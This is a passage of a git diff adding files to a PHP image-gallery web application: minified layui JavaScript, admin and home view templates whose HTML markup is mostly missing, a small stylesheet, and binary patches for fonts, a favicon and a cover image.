timeout"):void(1989===parseInt(i.getStyle(t.getElementById(c),"width"))?function(){o()}():setTimeout(p,100))}(),i)},n.callback={},o.prototype.factory=function(e){if(layui[e])return"function"==typeof n.callback[e]?n.callback[e]:null},o.prototype.addcss=function(e,t,o){return layui.link(n.dir+"css/"+e,t,o)},o.prototype.img=function(e,t,n){var o=new Image;return o.src=e,o.complete?t(o):(o.onload=function(){o.onload=null,t(o)},void(o.onerror=function(e){o.onerror=null,n(e)}))},o.prototype.config=function(e){e=e||{};for(var t in e)n[t]=e[t];return this},o.prototype.modules=function(){var e={};for(var t in u)e[t]=u[t];return e}(),o.prototype.extend=function(e){var t=this;e=e||{};for(var n in e)t[n]||t.modules[n]?a("模块名 "+n+" 已被占用"):t.modules[n]=e[n];return t},o.prototype.router=function(e){var t=this,e=e||location.hash,n={path:[],search:{},hash:(e.match(/[^#](#.*$)/)||[])[1]||""};return/^#\//.test(e)?(n.href=e=e.replace(/^#\//,""),e=e.replace(/([^#])(#.*$)/,"$1").split("/")||[],t.each(e,function(e,t){/^\w+=/.test(t)?function(){t=t.split("="),n.search[t[0]]=t[1]}():n.path.push(t)}),n):n},o.prototype.data=function(t,n,o){if(t=t||"layui",o=o||localStorage,e.JSON&&e.JSON.parse){if(null===n)return delete o[t];n="object"==typeof n?n:{key:n};try{var r=JSON.parse(o[t])}catch(a){var r={}}return"value"in n&&(r[n.key]=n.value),n.remove&&delete r[n.key],o[t]=JSON.stringify(r),n.key?r[n.key]:r}},o.prototype.sessionData=function(e,t){return this.data(e,t,sessionStorage)},o.prototype.device=function(t){var n=navigator.userAgent.toLowerCase(),o=function(e){var t=new RegExp(e+"/([^\\s\\_\\-]+)");return e=(n.match(t)||[])[1],e||!1},r={os:function(){return/windows/.test(n)?"windows":/linux/.test(n)?"linux":/iphone|ipod|ipad|ios/.test(n)?"ios":/mac/.test(n)?"mac":void 0}(),ie:function(){return!!(e.ActiveXObject||"ActiveXObject"in e)&&((n.match(/msie\s(\d+)/)||[])[1]||"11")}(),weixin:o("micromessenger")};return t&&!r[t]&&(r[t]=o(t)),r.android=/android/.test(n),r.ios="ios"===r.os,r},o.prototype.hint=function(){return{error:a}},o.prototype.each=function(e,t){var n,o=this;if("function"!=typeof t)return o;if(e=e||[],e.constructor===Object){for(n in e)if(t.call(e[n],n,e[n]))break}else for(n=0;na?1:r +
        +
        + +
        +
        + +
        + 搜索 +
        + + + +
        + + + + + \ No newline at end of file diff --git a/application/view/Admin/navbaradd.php b/application/view/Admin/navbaradd.php new file mode 100644 index 0000000..9089640 --- /dev/null +++ b/application/view/Admin/navbaradd.php @@ -0,0 +1,53 @@ + + + + + + 添加导航 + + + + + + + + + + +
        + +
        + +
        + +
        +
        +
        + +
        + +
        +
        + +
        + +
        + +
        图标设置请查阅这里-> Glyphicons
        +
        +
        +
        +
        + +
        +
        +
        + + + + \ No newline at end of file diff --git a/application/view/Admin/pic.php b/application/view/Admin/pic.php new file mode 100644 index 0000000..dd0cff5 --- /dev/null +++ b/application/view/Admin/pic.php @@ -0,0 +1,54 @@ + +
        +
        + +
        +
        + +
        + 搜索 +
        + + +
        +
        + + + + + \ No newline at end of file diff --git a/application/view/Admin/style/main.css b/application/view/Admin/style/main.css new file mode 100644 index 0000000..d018365 --- /dev/null +++ b/application/view/Admin/style/main.css @@ -0,0 +1 @@ +.user-photo{width:200px;height:120px;padding:15px 0 5px;margin-bottom:20px;}.user-photo a.img{display:block;width:80px;height:80px;margin:0 auto 10px;}.user-photo a.img img{display:block;border:none;width:100%;height:100%;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;border:4px solid #44576b;box-sizing:border-box;}.user-photo p{margin-top:20px;text-align:center;}.user_right{text-align:center;}.user_right img{width:200px;height:200px;margin-top:20px;cursor:pointer;box-shadow:0px 0px 50px #44576b;} \ No newline at end of file diff --git a/application/view/Admin/user.php b/application/view/Admin/user.php new file mode 100644 index 0000000..53ff598 --- /dev/null +++ b/application/view/Admin/user.php @@ -0,0 +1,21 @@ + +
        +
        + +
        +
        + +
        + 搜索 +
        + + + +
        +
        + + diff --git a/application/view/Admin/userinfo.php b/application/view/Admin/userinfo.php new file mode 100644 index 0000000..b89f7e1 --- /dev/null +++ b/application/view/Admin/userinfo.php @@ -0,0 +1,65 @@ + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + diff --git a/application/view/Home/details.php b/application/view/Home/details.php new file mode 100644 index 0000000..12cd420 --- /dev/null +++ b/application/view/Home/details.php @@ -0,0 +1,139 @@ + + +
        + +
        + +
        + +
        + +
        + + +
        + 上传于 +
        + +
        + + + + + \ No newline at end of file diff --git a/application/view/Home/explore.php b/application/view/Home/explore.php new file mode 100644 index 0000000..712b2ce --- /dev/null +++ b/application/view/Home/explore.php @@ -0,0 +1,46 @@ + +
        +
        +
        +
        +
        +
        +
        + + + + + + diff --git a/application/view/Home/fonts/icomoon.eot b/application/view/Home/fonts/icomoon.eot new file mode 100644 index 0000000000000000000000000000000000000000..5d067edd5e251ed6862c3d10f93a277a945cacbe GIT binary patch literal 1540 zcma)6O>7%Q6#mBRtP|H>+s%(%H43)ZX+VzLWbN3Lk|?NZ+M+~QB?&<&A;t|!Bs&{5 zK}wLQEG{4frI)JWgpd$I392}8KpZMAa6qbxpz6Ih8s!8k2kPaU*^P*!9(dO5yziU$ z-preMetsQTYy$**Xcd7QLNb%(R$kh=vX`2hIJyQHSVa{!>Kr!KXkg$nmavR>P(uY* z$@E~B%vEgAR@x*nj2woP?NM)%a>HY2K*P{0ub#Fd$HUK&`GI4xTCc2Q{)-=J)Jy!~ za%E$kbCmc?&h5*!?YEzN@O_2&8;-A6mMT};Mjz5wo923Pg+$<%_7m~P#F>@)=2j5c zCH|H;QM0QR{DbSnKNB1E%GNr9I7j?|IJs7-FTHl+t9|0X8UOscy|Kx2QrgDlIy67T z4e*A2pZR_v^Qk+FN63o~;=>~IY?X1qakM+m9gJ%nTs&-(BnJE(a>tCPPZLS23}>c- zX3v8B>m=H#8V!-bh(;OcH`IBg%pV zg?p9G$i@H7X~;5_-?b`CJS(#mIqkFv7+Sy(-CaFrMXakQpR$T0u{=M8Qv<>r$#-|g zhSI~aRLqQ-V_Kyj(`I(+rKbhj>pUM z3;in724=K|?^mAsEVE9Z8pw%JQ5f@;MheAJ(Ta;cCZGp|o>nUclM<$QK@4}72D*pR zGQ}}b+SPP_IF^6oy_dtG#HEA?>4AXW{4;U!L?~Q-e?;#LikWtEf4?VMTAV6|&fU5& zBZNP0WT!r|ry>_)$xtHEe5^;?JED5?aXb-vCN`>%m4iWnn~(mu>C*?#zg~DgC5zzT zO(y12dv8Ww{0qlq83FhD@7_KXIMh0d)y^T%A@N^vk zSe_n4f$fR^5Pt_58PnC>n6B=|bagkTtGh8>U8nCE&)1FF+PI$H;96`}t9ISC*N*hd v)?V4-fC<$tH<4sFU1HyqJ+y*N&R592g>8N>sqQ=Fb>E!4NY#&|@^twZ#KX`H literal 0 HcmV?d00001 diff --git a/application/view/Home/fonts/icomoon.svg b/application/view/Home/fonts/icomoon.svg new file mode 100644 index 0000000..d17e910 --- /dev/null +++ b/application/view/Home/fonts/icomoon.svg @@ -0,0 +1,12 @@ + + + +Generated by IcoMoon + + + + + + + + \ No newline at end of file diff --git a/application/view/Home/fonts/icomoon.ttf b/application/view/Home/fonts/icomoon.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7ffeed1b682aed4c03fed4c4d1a946a8f0bc8aa6 GIT binary patch literal 1376 zcma)6OKcle6g}7Dj1$)$+s((W8l|?!X+VzLWbD|Kk|?O^4>iJqBm|*^8aE`7>`X+0 zlps-AY(NMKo2p`kkgBRmP{oP`Vo|Yy1rh>5#lAaQWd$k=>fyYZv6M(Gc-EbJ&VBEm z_wKwqh5$H%7Bq~#`0^<$b~O4lBj3`l)SI;pEPnAFAcN!|tkgC)=;P$K=(|@MJ8wRD z|C<{5m$W;p%eAXrlMk4y&2qlH%0TF*_C5JWQ*;4=&jLR(@`>l=A&SyN zesHKd507cUakP8RJxpsfP99v7CI^BvwPVi5vt(*jj-I7pmMg~SyZH;y3)0RL$06eR zTqMo|KgSIs;<}PYTx|uFrn0ne8jLF6NL9sHB!rqVcLf6++^ce0P5$qghCEC8O{>Gi zQ>t1iXs0A(Xdy%T`v%TPqHmy>vC0#PA|IubBVtYz`+E~(+3`dsVJ6Hetumw~Nwu%b zA75LL!9iKLcD-W6EHiJJ0hm_awBoV$=exUmEeEaEsNGmPetfB6kGAAdVY_izQYpFI z*eOIaM{}0L1j`gyx!!D~y>|b;%(r(14rG3KX|bA2Ru`9s-AY@S(^`RFc3REUafzw;Ksv0ZUpqvbFY@3$*3mi+{yWc%%j(1&;5lXs*Ql3hkv?z z(7U&xddE%T3@_B}N4M?NZFQ7XmOJzgP+p}`IZtaT&W`NE5Z=MB#Hu-TJnwf{X9u;a zGYs7I^#ullZaY!bzy%+(3)$&jJV-p}<1P%4d2t;fSUwJ;gu3eXU=Jfo)5D&ohdoUX zdzv2hG(D^{_q3nuX|7S%Mw4b^9rIYmTiC>!%hDJ}fnVXFHEVUdY1`|EgLsLFD|j0X u)F^N$0q0$@Eu^_(nVYCBYS^N`%Gev&;q#Jvj2ZtJ1@$J~|04zdd;AN|UBEH` literal 0 HcmV?d00001 diff --git a/application/view/Home/fonts/icomoon.woff b/application/view/Home/fonts/icomoon.woff new file mode 100644 index 0000000000000000000000000000000000000000..b3470d3af6f7dd2a1ba7d93d19bac7e0bfe01a1e GIT binary patch literal 1452 zcma)6O>7%g5T5Zm>%_I!-sZ+Lsh*C>$?Vytgx=6f^q z-t3$8m5Y;;#02U1hW07FAkTl3i!UE_h`1AL3xdS{__MV}^)k3+_#Y_Defh&ubxpWG z;7hC^xm4eL3*6tp*McYSe^*^ztX?A0zQB4(&@q1h`(=>eeuFuwEk;U4&g!ehGLsBU22u;ir`qI7z-+E@hl0`@#3c=f~Gnj8hsj3wRU{53xN~ z=3+CU1tvu<$0Wo6QS~0u~aTODegxDdW7|?S~1WR+kApYd&@(; zBUx#2g3H^Q9*&!Z*WY_F9<$C{9MdBaz4fPc?m#SFxi+SEM|rx_-r4C(mKUZ4b|v-Jqm&hU#vIotD$yv@jR(Kq2ZRpYBKHNE-> + + + + + + + + + + + + + + <?php echo $title;?> + + + \ No newline at end of file diff --git a/application/view/Home/images/favicon.ico b/application/view/Home/images/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..620398438e621a929fb8dd5a19db1612a5746550 GIT binary patch literal 6782 zcmeHL&x?&w7(OT?VJu|wqfAl;{{hN^qHJU(vG)gvVliW(k&P)~EOeK%WlI`mAxYQl zrf8Iu2sdopX6ksJ?|g^TbAPzsx#!%dd8g;T=Q-zj-}Bt_eRuABW6TQtjExz*j+%2@ zjoECB0WEL>ne#<#acTKA`3ams$1i}*i0|mlePZGpig-)pj6G=Hh}?kZHi(GbC$_HY zd%9S)pwth_U!=X_a}irRh`OrhcNM0Z0P9kNec3;Zs{WQxyfJK$a6F7&^cY4}e^vG2 zUcHR9zw*EJ=taL4O-4F28tSsf678?NL)+iesy~gD+vO^+&wb!I@DO+f>;o99fm=Ww zcmT`+#{muPuUz%YRUi7BhWJ8Ia0FxeVDP@Dzm+72?Z5)CnDFb_Ne_}Qj^4ehU7^~!tE^E2YFtJZUElTHR) z`zsHmZHN4R<7Xj9uy4QLZ~yw=2RY8IThFT3w_C3qYlHH4Ez|?2j>rnw}*4CM4t!+py^q6<~r~AjiY}48w)Gu1QSmdRq%TuG53x0Fw0hcFTo~)OA zrp)EK*O&FauiwY-`zNcv4*bcmdmnG>Wxi479WE~%a{0};%k%F2*|{Ru?9(Don4uzb Hd+L4xul|A- literal 0 HcmV?d00001 diff --git a/application/view/Home/images/home_cover.jpg b/application/view/Home/images/home_cover.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0fbfc4b9a4f54e903759635bf5aab475835fb187 GIT binary patch literal 313414 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 